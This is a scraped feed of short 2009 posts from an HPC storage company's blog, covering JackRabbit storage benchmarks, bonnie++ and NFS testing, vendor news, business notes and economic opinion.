I am running into this right now with attempting to get OFED installed on OpenSUSE 11.1 to see if this will solve a customer problem. Yum is a convenient and powerful tool, common across many distros. https://blog.scalability.org/2009/08/cloud-migrations-to-most-beneficial-tax-regime/ Sat, 08 Aug 2009 19:43:47 +0000 https://blog.scalability.org/2009/08/cloud-migrations-to-most-beneficial-tax-regime/ I thought this was interesting. Microsoft basically pulling a plug on a large project over tax issues, and moving its capability to where it has a more favorable situation. I see a simple (and dare I say obvious) evolution in the cloud infrastructure landscape. Take your container systems, put them on a truck and drive them to where the taxes are best. This would create demand for points of presence with good power and network connections. https://blog.scalability.org/2009/08/tcs/ Fri, 07 Aug 2009 17:09:45 +0000 https://blog.scalability.org/2009/08/tcs/ Been very busy … good busy … but busy. Brief T&C; discussion, as this is near and dear to my heart right now. We find lots of variation in T and C documentation. Some of it is reasonable, some is simply ridiculous. Call it onerous, call it egregious. The vast majority of the ridiculous language focuses on providing a huge lever over the seller by the buyer. Some of my favorites are “we can return it if we want, for any reason, and you have no recourse whatsoever”, “you will pay for our costs if we decide to go another route”, “you may not charge fees for late payment, or institute collection actions”, “you will give us most preferred customer pricing, regardless of how little we buy from you”, and “we will pay when we please”. https://blog.scalability.org/2009/08/twitter-updates-for-2009-08-05/ Wed, 05 Aug 2009 07:05:00 +0000 https://blog.scalability.org/2009/08/twitter-updates-for-2009-08-05/ * @[garystiehr](http://twitter.com/garystiehr) Doug did a good job on them. We are getting many hits from #[insideHPC](http://search.twitter.com/search?q=%23insideHPC) for #[storage](http://search.twitter.com/search?q=%23storage) for #[HPC](http://search.twitter.com/search?q=%23HPC) systems now [in reply to garystiehr](http://twitter.com/garystiehr/statuses/3119965913) [#](http://twitter.com/sijoe/statuses/3134050087) * fighting battles I should not be fighting ... [#](http://twitter.com/sijoe/statuses/3134391117) * Done with one proposal, now onto an analysis, a letter of support for a proposal, a CV for the proposal, a patent analysis ... its only 11pm [#](http://twitter.com/sijoe/statuses/3138092256) Powered by Twitter Tools. https://blog.scalability.org/2009/08/cilk-arts-acquired-by-intel/ Tue, 04 Aug 2009 02:08:24 +0000 https://blog.scalability.org/2009/08/cilk-arts-acquired-by-intel/ Story here. InsideHPC has been covering them for a while. Cilk was/is a different approach to parallelism than language developers traditionally used. Basically it deployed various work queues for each core, and the work queues decided when they needed more work. As I remember, they could “steal” from other work queues. The net effect of this was an effectively implicitly described parallelism. I am probably explaining it wrong. It is a neat way to work, but it is focused upon C++. https://blog.scalability.org/2009/08/real-economic-stimulus-lower-barriers-to-purchase/ Sun, 02 Aug 2009 19:38:21 +0000 https://blog.scalability.org/2009/08/real-economic-stimulus-lower-barriers-to-purchase/ There is much being written about C4C (Cash for Clunkers). As I had noted in my own previous article, we did take advantage of it. So my writing is biased to some degree. I am personally opposed to wealth transfer as I noted. Those who busted their rear ends to make money ought to be able to keep it and spend it as they see fit. Barring that, if the government decides that stimulating a particular part of the economy is good, they can make things happen, in a big way. https://blog.scalability.org/2009/07/cash-for-clunkers-why-it-was-a-good-idea/ Fri, 31 Jul 2009 12:46:26 +0000 https://blog.scalability.org/2009/07/cash-for-clunkers-why-it-was-a-good-idea/ This is more economic than HPC related, but it has a relationship to HPC as it turns out. Cash for clunkers was designed to replace lower MPG cars with higher MPG cars, by offering effectively a discount for purchase. The government allocated $1B to the program. It started Monday. As of today, Friday, the money is gone. Inventory was moved, it is no longer aging, Higher MPG cars are now on the roads. https://blog.scalability.org/2009/07/notes-7-years-in-2-days-and-some-new-product-stuff/ Thu, 30 Jul 2009 13:31:02 +0000 https://blog.scalability.org/2009/07/notes-7-years-in-2-days-and-some-new-product-stuff/ Our 7-year business anniversary (from when we started) is in 2 days. We launched 1-August-2002, at the height of the internet bubble collapse. I took a golden handshake from my employer at the time and formed Scalable. Took the risk I had always been afraid of. 7 years ago. Amazing. Growing and profitable six out of the seven years since then. Yes, we may have a 7th anniversary sale. Contact us if you want details, or if you want to take advantage of it early. https://blog.scalability.org/2009/07/git-book/ Wed, 29 Jul 2009 02:35:19 +0000 https://blog.scalability.org/2009/07/git-book/ Here. икони https://blog.scalability.org/2009/07/there-are-many-things-to-like-in-modern-linux-networkmanager-is-not-one-of-them/ Mon, 27 Jul 2009 18:20:57 +0000 https://blog.scalability.org/2009/07/there-are-many-things-to-like-in-modern-linux-networkmanager-is-not-one-of-them/ I have never had as many problems directly caused by one application, across so many machines, across so many distributions, as NetworkManager. For those who don’t know, NetworkManager is your friendly helper application (mistakenly) adopted by distros to handle setting up networks. This would be well and good if it, I dunno, actually worked? I won’t recount my long painful history with it. Suffice it to say, everywhere I see it … everywhere … I immediately replace it with wicd. https://blog.scalability.org/2009/07/so-close-so-close-and-then/ Sun, 26 Jul 2009 14:31:20 +0000 https://blog.scalability.org/2009/07/so-close-so-close-and-then/ In this past weeks HPCwire podcast, Chris Willard and Michael Feldman discuss many things. The business side of HPC, the future of companies, etc. I agreed with everything they said (having said it here in these pages in the past). That is, until the last minute. Thats where what they said doesn’t quite mesh with what we observe and are experiencing. Specifically, they suggesting that in these tough times, end users are being more conservative, sticking with the large vendors, and eschewing the smaller vendors. https://blog.scalability.org/2009/07/what-is-the-future-of-storage/ Sat, 25 Jul 2009 18:48:25 +0000 https://blog.scalability.org/2009/07/what-is-the-future-of-storage/ I am seeing lots of deep soul searching in pundit circles, as well as head scratching on the part of customers, as various vendors writhe and contort in their death throes. Pundits regularly trash that which they neither grasp, nor prefer. Customers wonder what the right path going forward is. Vendors struggle to figure out what the market really wants, and to be able to offer that (all the while the marketing teams are spinning hard and fast). https://blog.scalability.org/2009/07/but-we-cant-use-you-because-you-are-not-x/ Thu, 23 Jul 2009 02:03:18 +0000 https://blog.scalability.org/2009/07/but-we-cant-use-you-because-you-are-not-x/ Been running into a bit of this recently. Its usually preceded or followed with some sort of performance requirement, that ‘X’ just can’t hit, or they would need so much of ‘X’ that it blows their budget up. I find it interesting that the IT folks, the ones really worried about their futures due to budget cuts placing pressure on them to do more while spending less, really get our message, and grok what we do, and how we can help them achieve their mission goals while reducing their costs. https://blog.scalability.org/2009/07/itanic-sinks-at-sgi/ Thu, 23 Jul 2009 01:47:05 +0000 https://blog.scalability.org/2009/07/itanic-sinks-at-sgi/ This was a long time coming. The previous management, prior to them sinking in april 2009, nor the management teams before that … going back at least 10 years, would never have done this. Its a shame. It should have happened long long ago. Basically Itanium is now legacy at SGI. I remember asking at some engineering/sales meeting what the plan B was. I remember the management blinking rapidly, but not giving an answer. https://blog.scalability.org/2009/07/jr5-marathon-run/ Wed, 22 Jul 2009 20:29:43 +0000 https://blog.scalability.org/2009/07/jr5-marathon-run/ For those benchmark pr0n viewers … here is Scalable Informatics Inc. JackRabbit JR5 unit with 48 drives. Simple benchmark. How long does it take you to write 1TB. How about 524 seconds? [root@jr5 ~]# !498 mpirun -np 8 ./io-bm.exe -n 1024 -f /data/file -w -d -s -v -------------------------------------------------------------------------- [[8861,1],3]: A high-performance Open MPI point-to-point messaging module was unable to find any relevant network interfaces: Module: OpenFabrics (openib) Host: jr5.scalableinformatics.com Another transport will be used instead, although this may result in lower performance. https://blog.scalability.org/2009/07/a-silly-bug-in-io-bm/ Wed, 22 Jul 2009 04:44:00 +0000 https://blog.scalability.org/2009/07/a-silly-bug-in-io-bm/ It wasn’t enough to impact results, but it was enough to cause questioning my results (and sanity). Part of the IO operation is having N processes write to 1 file. To make this happen correctly, each process has to compute their offset into the file, and start operations from there. There is a seek involved. Now if I am smart, it won’t be lseek(file_descriptor,0,SEEK_SET); Nope … that would be wrong (the zero). https://blog.scalability.org/2009/07/getting-inc-ed/ Tue, 21 Jul 2009 20:53:33 +0000 https://blog.scalability.org/2009/07/getting-inc-ed/ Somewhat of a play on getting inked, the day job is now an Inc. rather than an LLC. The reasons for the change are many, ranging from taxes, to important things like raising capital. Yeah, I know, we are at a 15 year low for VC investments. But this is a capital intensive business, and we are growing, and have a need. So, this is one option for pursuing the capital we need. https://blog.scalability.org/2009/07/rethinking-git-vs-hg/ Mon, 20 Jul 2009 20:43:32 +0000 https://blog.scalability.org/2009/07/rethinking-git-vs-hg/ I thought git was just getting better than mercurial. I found that basic git operations are easy, but others appear to be harder than I like (setting up remote repositories). Just tried the same thing with hg that I tried (and failed to do) with git. Worked like a charm. landman@pgda-100:~/target$ hg push ssh://mmmmq@mmmmq/hg/target pushing to ssh://mmmmq@mmmmq/hg/target searching for changes remote: adding changesets remote: adding manifests remote: adding file changes remote: added 1 changesets with 5 changes to 5 files hg can use ssh, which looks like it makes lots of stuff simple. https://blog.scalability.org/2009/07/talking-about-high-performance/ Sun, 19 Jul 2009 19:45:56 +0000 https://blog.scalability.org/2009/07/talking-about-high-performance/ … the Blue Angels are doing hard banks right above my house right now, as part of the Willow Run Thunder over Michigan airshow. We went to it yesterday, but live close enough that we see them on their far turns. Two minutes ago they were literally right over my house, doing a hard bank. Have pictures and videos. Most impressive! These guys and gals have some serious high performance hardware … I have to admit, some of my favorite parts were when they did their high speed passes, and then opened up with afterburners on the climb out. https://blog.scalability.org/2009/07/and-hp-snarfs-up-ibrix/ Fri, 17 Jul 2009 20:07:45 +0000 https://blog.scalability.org/2009/07/and-hp-snarfs-up-ibrix/ See here Whats Dell going to do now? Ibrix is Dell’s favorite parallel file system for clusters. https://blog.scalability.org/2009/07/more-jackrabbit-96tb-opensolaris-system/ Fri, 17 Jul 2009 19:01:56 +0000 https://blog.scalability.org/2009/07/more-jackrabbit-96tb-opensolaris-system/ even more JackRabbit OpenSolaris 2009.06 goodness. landman@pgda-100:~$ ssh scalable@192.168.1.74 Password: Last login: Fri Jul 17 13:32:57 2009 Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008 scalable@jr5-96TB:~$ su Password: scalable@jr5-96TB:~# zpool create tank c7t1d0 c10t2d0 c11t3d0 scalable@jr5-96TB:~# zpool status tank pool: tank state: ONLINE scrub: none requested config: NAME STATE READ WRITE CKSUM tank ONLINE 0 0 0 c7t1d0 ONLINE 0 0 0 c10t2d0 ONLINE 0 0 0 c11t3d0 ONLINE 0 0 0 errors: No known data errors scalable@jr5-96TB:~# df -h /tank Filesystem size used avail capacity Mounted on tank 70T 19K 70T 1% /tank 70TB of ZFS on JR5-96Tn. https://blog.scalability.org/2009/07/jr5-96tb-running-opensolaris-2009-06/ Fri, 17 Jul 2009 18:13:43 +0000 https://blog.scalability.org/2009/07/jr5-96tb-running-opensolaris-2009-06/ Scalable Informatics JackRabbit OpenSolaris pr0n for those disposed to such things. Remember, this is a 2.5+ GB/s machine (e.g. measured bandwidth on RAID6, not “theoretical bandwidth” with a RAID0). From what I can see, this is the largest (capacity) and fastest (raw and usable) performance OpenSolaris machine on the market. 8 Nehalem cores, 72 GB RAM, 96TB raw, 72TB usable in 5U, for under $60k USD, with 10GbE and/or Infiniband. There does appear to be some strangeness upon setup … Solaris was not willing to run on a > 2TB disk. https://blog.scalability.org/2009/07/when-debugging-make-sure-you-have-evidence-before-you-point-fingers/ Thu, 16 Jul 2009 22:01:18 +0000 https://blog.scalability.org/2009/07/when-debugging-make-sure-you-have-evidence-before-you-point-fingers/ A 128 core cluster, user is experiencing ‘strange’ delays in their application. It is an MPI code, we found problems in previously. I have to admit that at first I was amused when someone blamed the MPI stack, claiming it was broken, and did so by demonstrating that they didn’t know how to use an MPI stack. Their test case, literally copied from from an online course (possibly even our course materials), was the MPI-HelloWorld fortran example. https://blog.scalability.org/2009/07/ot-bad-ideas-part-ii/ Thu, 16 Jul 2009 15:09:01 +0000 https://blog.scalability.org/2009/07/ot-bad-ideas-part-ii/ Again, not a partisan issue … this approach to fund something by penalizing one group is a very bad idea. Cigarette and alcohol taxes are in place and as high as they are, specifically to change behavior. Making something far more expensive does materially impact the way people behave. It causes them to perform more cost-benefit analyses. And they change their behaviors. I am quite certain that those who designed this legislation did not anticipate that by significantly increasing taxes on businesses, that this would impact … I dunno … employment? https://blog.scalability.org/2009/07/irresistable-force-meet-immovable-object/ Thu, 16 Jul 2009 01:36:26 +0000 https://blog.scalability.org/2009/07/irresistable-force-meet-immovable-object/ There is a strong push (well at least the articles tell us so, and you know, its not like they are ever wrong … nosiree) to move computing into a cloud. This is sometimes a good idea, there are specific profiles which fit the cloud paradigm. Quite a few profiles actually. But there are some speedbumps. Literally. Bandwidth has been, and will be, an issue for the foreseeable future. Clouds have limited bandwidth in and out. https://blog.scalability.org/2009/07/sometimes-being-right-isnt-a-happy-thing/ Thu, 16 Jul 2009 00:00:40 +0000 https://blog.scalability.org/2009/07/sometimes-being-right-isnt-a-happy-thing/ In this post, I wrote and today, we get confirmation that we hit 15.2% in June. More layoffs have happened since then. GM cut another 1000, Chrysler and Ford have been cutting hard. So when can we start using the correct name for this economic condition? What I can say is that I am seeing signs of life … significant signs of life in the HPC auto community. No, not necessarily the big 3’s large machines. https://blog.scalability.org/2009/07/ot-bad-ideas/ Wed, 15 Jul 2009 12:15:48 +0000 https://blog.scalability.org/2009/07/ot-bad-ideas/ Saw this, this morning. Then another one. No, this will not impact me/us right now. And as we are converting the LLC into a C-corp, it should have no real impact until we sell the company. But it will impact any small business owner with enough revenue to matter. Heck, if you look on tax returns, it appears that lots of small business owners are wealthy. They aren’t but it would appear that way. https://blog.scalability.org/2009/07/sun-reports-q4-numbers/ Wed, 15 Jul 2009 01:08:18 +0000 https://blog.scalability.org/2009/07/sun-reports-q4-numbers/ At the Reg. Not good. In a nutshell? Revenues cratered. Thursday, Sun shareholders vote on selling Sun to Oracle. I’d call it a foregone conclusion that this deal will be approved. If the regulators don’t approve it … well … The Reg opines more. Yeah. We have a reasonably good idea of what is and is not toast. It would not surprise me to see Oracle sell off the hardware business in bits and pieces. https://blog.scalability.org/2009/07/the-business-side-of-hpc-2/ Tue, 14 Jul 2009 23:04:37 +0000 https://blog.scalability.org/2009/07/the-business-side-of-hpc-2/ John West at InsideHPC has, as usual, an interesting article on rumors of SGI abandoning a bid because of “margin games.” The market is changing as business gets more challenging. The drive to lower and negative margins will drive vendors from the market. At some point those purchasing gear will have to decide if the cost they pay for driving the price and margins into the ground is worth the benefit they get for doing it. https://blog.scalability.org/2009/07/twitter-updates-for-2009-07-14/ Tue, 14 Jul 2009 07:05:00 +0000 https://blog.scalability.org/2009/07/twitter-updates-for-2009-07-14/ * JR5 96TB #[hpc](http://search.twitter.com/search?q=%23hpc) #[storage](http://search.twitter.com/search?q=%23storage) unit ([http://bit.ly/2UhAFV](http://bit.ly/2UhAFV) hits 2.5GB/s (http://scalability.org/?p=1706) sustained w/256GB file # * FYI: gigabyte per second #NFS on a single cost-effective box. See http://scalability.org/?p=1708 about this #hpc #storage unit # Powered by Twitter Tools. https://blog.scalability.org/2009/07/who-says-you-cant-do-gigabyte-per-second-nfs/ Mon, 13 Jul 2009 16:48:03 +0000 https://blog.scalability.org/2009/07/who-says-you-cant-do-gigabyte-per-second-nfs/ I keep hearing this. Its not true though. See below. NFS client: Scalable Informatics Delta-V (ΔV) 4 unit NFS server: Scalable Informatics JackRabbit 4 unit. (you can buy these units today from Scalable Informatics and its partners) 10GbE: single XFP fibre between two 10GbE NICs. This is NOT a clustered NFS result. root@dv4:~# mount | grep data2 10.1.3.1:/data on /data2 type nfs (rw,intr,rsize=262144,wsize=262144,tcp,addr=10.1.3.1) root@dv4:~# mpirun -np 4 ./io-bm.exe -n 32 -f /data2/test/file -r -d -v N=32 gigabytes will be written in total each thread will output 8. https://blog.scalability.org/2009/07/its-all-in-how-you-do-the-io/ Mon, 13 Jul 2009 03:07:15 +0000 https://blog.scalability.org/2009/07/its-all-in-how-you-do-the-io/ JackRabbit 5U (JR5) 96TB unit, with 8 threads writing to the same file (each one writing to a different section of the file to reduce contention). write performance below. [root@jr5 ~]# mpirun -np 8 ./io-bm.exe -n 128 -f /data/file -w -s -d -v N=128 gigabytes will be written in total each thread will output 16.000 gigabytes page size ... 4096 bytes number of elements per buffer ... 2097152 number of buffers per file . https://blog.scalability.org/2009/07/puzzle-solved-now-good-results/ Mon, 13 Jul 2009 02:52:13 +0000 https://blog.scalability.org/2009/07/puzzle-solved-now-good-results/ Ok, io-bm.c is fixed. I had a typo in a define. That did a pretty good job of removing all the MPI goodness … Fixed, and ran it. Looks like we see good performance, with none of the strange loss of IO that bonnie++ has. This is what we see with verbose mode on. Writing: 4 threads [root@jr5 ~]# mpirun -np 4 ./io-bm.exe -n 128 -f /data/file -w -d -v N=128 gigabytes will be written in total each thread will output 32. https://blog.scalability.org/2009/07/a-mystery-within-a-puzzle/ Sun, 12 Jul 2009 19:35:17 +0000 https://blog.scalability.org/2009/07/a-mystery-within-a-puzzle/ In some previous posts I had been discussing bonnie++ (not bonnie, sorry Tim) and its seeming inability to keep the underlying file system busy. So I hauled out something I wrote a while ago, for precisely these purposes (I’ll get it onto our external Mercurial repository soon). Push the box(es) as hard as you can, in IO. I built this using OpenMPI on the JackRabbit (JR5 96TB unit) and ran it. https://blog.scalability.org/2009/07/more-local-economic-bits/ Sun, 12 Jul 2009 16:14:01 +0000 https://blog.scalability.org/2009/07/more-local-economic-bits/ My rep in congress (Scalable’s too) is pointing out some unhappy guestimates of how our local economy will fare: Well, while agree with him that its getting worse here (we blew through 14.1% in May … likely at 15% or worse now in July), had the autos fallen, the unemployment would have been worse. This said, it is very important to let the economy do what economies do best, and stop trying to pretend to control it. https://blog.scalability.org/2009/07/twitter-updates-for-2009-07-12/ Sun, 12 Jul 2009 07:05:00 +0000 https://blog.scalability.org/2009/07/twitter-updates-for-2009-07-12/ * from the testing lab, some very fast #[hpc](http://search.twitter.com/search?q=%23hpc) #[storage](http://search.twitter.com/search?q=%23storage) systems: 24TB JR4 writes at 2 GB/s, 96 TB JR5 reads at 2.2 GB/s. [#](http://twitter.com/sijoe/statuses/2592997412) Powered by Twitter Tools. https://blog.scalability.org/2009/07/jackrabbit-5u-96tb-time-trials/ Sun, 12 Jul 2009 02:34:01 +0000 https://blog.scalability.org/2009/07/jackrabbit-5u-96tb-time-trials/ The raid has finished building on the JackRabbit 5U (JR5) (these units are now available from us or our reseller partners in the US, EU, and India). As a refresher, this is the 96TB unit, with 3 RAID cards, and 48x 2TB enterprise SATA disks. The RAIDs are hardware RAID6 (16 drives, 1 hot spare and 15 RAID drives, yielding 13 data drives). 3 groups of 13x 2TB drives is 78TB. https://blog.scalability.org/2009/07/more-bonnie/ Sat, 11 Jul 2009 17:47:47 +0000 https://blog.scalability.org/2009/07/more-bonnie/ Following Chris Samuel’s suggestion, I pulled down version 1.96 of bonnie and built it. The machine I am using now is a Scientific Linux based system, with Scalable Informatics 2.6.28.7 kernel. Scientific Linux is yet another RHEL rebuild. This is a customer requested distribution for this machine. SL suffers from the RHEL kernel, which is IMO inappropriate for use as a high performance storage system kernel. Workload patterns our customers wish to test regularly crash the RHEL distro kernels. https://blog.scalability.org/2009/07/bonnie-isnt-that-good-at-characterizing-system-io-rates/ Sat, 11 Jul 2009 05:05:28 +0000 https://blog.scalability.org/2009/07/bonnie-isnt-that-good-at-characterizing-system-io-rates/ I started thinking about bonnie’s IO after looking at some of the numbers, and how the system behaved while running the tool. Fio is much better and more controllable tool. You can understand what it is doing. And you can use it to model bonnie, and therefore understand what bonnie is and isn’t doing. In short, while running bonnie++, I found the core machine stats, as seen in vmstat, dstat, iostat, and other tools, to be basically idle during the writes. https://blog.scalability.org/2009/07/dv4-mounting-jr4-over-nfs-and-doing-a-simple-stream-copy/ Fri, 10 Jul 2009 21:32:09 +0000 https://blog.scalability.org/2009/07/dv4-mounting-jr4-over-nfs-and-doing-a-simple-stream-copy/ This is what our tagline of Simply Faster means. The performance is there, and is simple to use. See below. On DV4 root@dv4:~# mount -o intr,rsize=262144,wsize=262144,tcp 10.1.3.1:/data /data2 root@dv4:~# ls -alF /data2 total 67108868 drwxr-xr-x 2 root root 21 2009-07-10 11:01 ./ drwxr-xr-x 23 root root 4096 2009-07-10 17:18 ../ -rw-r--r-- 1 root root 68719476736 2009-07-10 13:07 big.file root@dv4:~# dd if=/data2/big.file of=/dev/null bs=16M 4096+0 records in 4096+0 records out 68719476736 bytes (69 GB) copied, 110. https://blog.scalability.org/2009/07/time-trials-a-new-record/ Fri, 10 Jul 2009 19:20:55 +0000 https://blog.scalability.org/2009/07/time-trials-a-new-record/ The JR5 is still building its RAID. 96TB of sweetness in that unit. But its the JR4 that is tearing up the records. Did a little tuning, just to fix a problem with the OS drives. I’ll have a long diatribe on this at some point, but not now. JR4, sitting on the bench in the lab. Pair of Chelsio 10GbE cards, 8 cores of Nehalem goodness, 48 GB ram. Lets take her for a spin, and light up the afterburners. https://blog.scalability.org/2009/07/pre-tuning-baseline-streaming-data-run-for-new-jr4s/ Wed, 08 Jul 2009 13:01:37 +0000 https://blog.scalability.org/2009/07/pre-tuning-baseline-streaming-data-run-for-new-jr4s/ In the late 80s, right before I finished undergraduate work at Stony Brook, I bought an orange colored 1973 Chevy Nova. It was, well, butt ugly. But it had a 350 small block engine in it which, as I had been told by people (supposedly) more knowledgeable than I (in these areas), was shared by the Corvette models of that year. I don’t know if that was true. I do know that this was an engine I could tune. https://blog.scalability.org/2009/07/twitter-updates-for-2009-07-08/ Wed, 08 Jul 2009 07:05:00 +0000 https://blog.scalability.org/2009/07/twitter-updates-for-2009-07-08/ * Stabilizing JR4 with SAS drives. Some motherboard - raid issues to be dealt with. Performance is good. [#](http://twitter.com/sijoe/statuses/2517905215) * The 2TB drives have arrived ... the 2TB drives have arrived ... [#](http://twitter.com/sijoe/statuses/2517918749) Powered by Twitter Tools. https://blog.scalability.org/2009/07/in-the-testing-lab/ Tue, 07 Jul 2009 20:56:35 +0000 https://blog.scalability.org/2009/07/in-the-testing-lab/ Thought a few people might like to see this. A new JackRabbit (JR4) being built. We are testing one of its RAIDs. Dealing with some MB issues, but otherwise, back onto stable ground. This is a single RAID card with 8 drives, 7 in a RAID6 + 1 hot spare. Large sequential streaming read and write. 4x larger than RAM in the machine. Caching is not relevant to this. No tuning. https://blog.scalability.org/2009/07/twitter-updates-for-2009-07-07/ Tue, 07 Jul 2009 07:05:00 +0000 https://blog.scalability.org/2009/07/twitter-updates-for-2009-07-07/ * @[garystiehr](http://twitter.com/garystiehr) Gb/s or GB/s? An order of magnitude can make a large difference ... [in reply to garystiehr](http://twitter.com/garystiehr/statuses/2499758846) [#](http://twitter.com/sijoe/statuses/2504247739) * new 48TB DV4 is up and rock solid. Working on stabilizing the JR4 that goes with it. Some 10GbE cards are hard to find these days ... [#](http://twitter.com/sijoe/statuses/2504274758) Powered by Twitter Tools. https://blog.scalability.org/2009/07/two-for-two/ Mon, 06 Jul 2009 15:28:00 +0000 https://blog.scalability.org/2009/07/two-for-two/ We use Fedex and UPS to ship in the day job. Lots of our stuff is pretty sturdy, but some things simply do not like being bumped hard. Like disks. Or like Pegasus boxen, with many expensive cards sitting in the PCI-e slots. Awaiting pictures from the customer, but it looks like two of the Cell based units we shipped out (w/o Tesla cards, that should be arriving soon), got beat up in transit. https://blog.scalability.org/2009/06/amusing-programming-construct-that-i-am-using-for-sanity-checking/ Wed, 01 Jul 2009 03:36:27 +0000 https://blog.scalability.org/2009/06/amusing-programming-construct-that-i-am-using-for-sanity-checking/ Start out from a known state … ` my $dryrun = false; my $debug = false; my $sanity = false; Heh ... Maybe I should create a function with a probability distribution (a fuzzy function) named "is_in_doubt()" so I can writemy $sanity = &is;_in_doubt();` (and yes, this is Perl … I just can’t bring myself to go back to a language that thinks indentation is a good and necessary thing for program structure … :( ) https://blog.scalability.org/2009/06/good-conversation-with-nvidia/ Mon, 29 Jun 2009 17:55:18 +0000 https://blog.scalability.org/2009/06/good-conversation-with-nvidia/ They are getting backlog serviced as fast as they can. Looks like they are clearing it out pretty quickly. This is good. Customers had been asking us about the reason for the delay. We speculated numerous possibilities. Most (all?) of them (my speculations) were wrong. That is good as well. I am thinking now that the problem is macroeconomic, not microeconomic. That is, its the entire ecosystem, not one company. Everyone gets walloped in a recession. https://blog.scalability.org/2009/06/cloud-storage-and-hpc-cloud-pr-is-out/ Mon, 29 Jun 2009 13:51:02 +0000 https://blog.scalability.org/2009/06/cloud-storage-and-hpc-cloud-pr-is-out/ Released this morning Automated High Performance Computing Solutions Provide Alternative to Shared Virtual Private Server Clouds FORT LAUDERDALE, Fla.–(Business Wire)– NewServers Inc., the leading provider of Hardware as a Service (HaaS) dedicated cloud servers, today announced a strategic partnership with high performance computing (HPC) provider Scalable Informatics that will provide cloud storage solutions capable of supporting HPC. NewServers will integrate Scalable Informatics' JackRabbit high-performance server storage solution into the company’s service. https://blog.scalability.org/2009/06/lots-of-updates-all-good/ Sat, 27 Jun 2009 19:12:45 +0000 https://blog.scalability.org/2009/06/lots-of-updates-all-good/ All for the day job: First, our help system is now online. This allows us to provide an externally visible issue tracking and project management/tracking site for customers. Not just for our hardware. Scalable Informatics has been helping people support other peoples hardware for quite a while. Some of our biggest/best customers have not bought a single bit of hardware from us, but pay us to help them support, run, install, manage, …. https://blog.scalability.org/2009/06/freedom-from-bricking/ Thu, 25 Jun 2009 13:12:17 +0000 https://blog.scalability.org/2009/06/freedom-from-bricking/ This is one of several memes customers are noting to us. They are worried, what happens if vendor X goes away, can I still get support/fixes/replacement parts for my gear? In the case of some of our competitors, the answer is a resounding and unqualified NO. In our case, our high performance JackRabbit systems, our value priced Delta-V, and our Pegasus deskside supercomputers, the answer is a resounding and unqualified YES. https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-25/ Thu, 25 Jun 2009 07:05:00 +0000 https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-25/ * There seems to be an awful lot of pr0n types that follow ... I block them. Is this a losing battle? Should I just give in? [#](http://twitter.com/sijoe/statuses/2318023529) Powered by Twitter Tools. https://blog.scalability.org/2009/06/one-bit-of-looking-happened-upon-something-else-which-resonates-with-todays-economic-climate/ Thu, 25 Jun 2009 04:28:55 +0000 https://blog.scalability.org/2009/06/one-bit-of-looking-happened-upon-something-else-which-resonates-with-todays-economic-climate/ I was looking up one of my favorite (silly) phrases after a long hard day getting mvsas to work correctly on a Pegasus workstation running Fedora. I won’t let this devolve into a Fedora bashing session, though Fedora does need it. That is what triggered this look though. I kept slogging at a number of Fedora misfeatures, until my efforts were rewarded. This resonated, and reminded me of one of my favorite (silly) phrases … … The beatings will continue until morale improves. https://blog.scalability.org/2009/06/kick-a-region-when-its-down/ Tue, 23 Jun 2009 20:17:14 +0000 https://blog.scalability.org/2009/06/kick-a-region-when-its-down/ I’ve been talking about the woes of the area we live and work in. Canton is right outside Detroit and Ann Arbor Michigan. Its a nice place for many reasons. But a tech haven? No. For a long time, we had lots of commercial supercomputing in this area. It was a good place to be w.r.t. this. But times, they are a-changing. CIO magazine has an article on “The Worst U. https://blog.scalability.org/2009/06/does-best-practices-really-mean-this-is-how-we-want-to-do-it-so-nah-nah-to-you/ Tue, 23 Jun 2009 14:39:35 +0000 https://blog.scalability.org/2009/06/does-best-practices-really-mean-this-is-how-we-want-to-do-it-so-nah-nah-to-you/ I’ve noticed this, that when people talk about “best practices” in HPC, usually there is … well … a slant to their analysis. Put another way … can you get real unbiased information on “best practices” from a biased partisan, who might not have been exposed to alternative methods, and may have a financial interest in a particular set of practices? We see this with consultants seeking to sell their own services as “best practices”, with hardware and software vendors seeking to incorporate their products into “best practices” workflows. https://blog.scalability.org/2009/06/sounds-like-lustre-is-getting-something-of-a-bad-rap/ Tue, 23 Jun 2009 14:24:10 +0000 https://blog.scalability.org/2009/06/sounds-like-lustre-is-getting-something-of-a-bad-rap/ Coverage from ISC09 in Hamburg has GPFS (from IBM) doing well, and Lustre being … well … Lustre. From InsideHPC’s coverage in the sidebar … You can follow them on twitter directly, or through the feed on InsideHPC. I recommend the latter, as John and team put up often interesting commentary after this. https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-23/ Tue, 23 Jun 2009 07:05:00 +0000 https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-23/ * booted 96TB JackRabbit, w/o disks/raid, for initial checkout. Unit is fast as an #[hpc](http://search.twitter.com/search?q=%23hpc) platform, looking to bench the #[storage](http://search.twitter.com/search?q=%23storage) [#](http://twitter.com/sijoe/statuses/2285894794) Powered by Twitter Tools. https://blog.scalability.org/2009/06/an-emerging-plan-to-solve-the-national-debt/ Sun, 21 Jun 2009 16:01:13 +0000 https://blog.scalability.org/2009/06/an-emerging-plan-to-solve-the-national-debt/ heh …. US To Trade Gold Reserves For Cash Through Cash4Gold.com https://blog.scalability.org/2009/06/shades-of-things-to-come-for-sun/ Sat, 20 Jun 2009 20:53:20 +0000 https://blog.scalability.org/2009/06/shades-of-things-to-come-for-sun/ There are still a few stalwarts who believe that Oracle’s purchase of Sun will continue their favorite projects and products. Then you see stuff like this: Whoops. Now fast forward a few weeks, for when Sun’s purchase closes. So virtualbox is likely dead as a product. A few months ago I speculated that the purchase of Sun was brilliant in part due to all the technologies Oracle would get. Many would be shuttered. https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-20/ Sat, 20 Jun 2009 07:05:00 +0000 https://blog.scalability.org/2009/06/twitter-updates-for-2009-06-20/ * @[garystiehr](http://twitter.com/garystiehr) I looked at Sharethis and a bunch of others. Addtoany was the least annoying of the lot. I tried a number two weeks ago [in reply to garystiehr](http://twitter.com/garystiehr/statuses/2233135919) [#](http://twitter.com/sijoe/statuses/2246497585) Powered by Twitter Tools. https://blog.scalability.org/2009/06/speaking-of-accelerating/ Sat, 20 Jun 2009 01:30:18 +0000 https://blog.scalability.org/2009/06/speaking-of-accelerating/ I have noticed that we are measuring quotes generated per day, versus last year when it was per week, or the years before where it was per month. Not a great metric, but we are definitely feeling pressed back in our seats as we accelerate hard. Its becoming apparent that I need to find additional pairs of hands, eyes, and brains (single or in pairs). Once we are sure all the stars are aligned, we’ll say more. 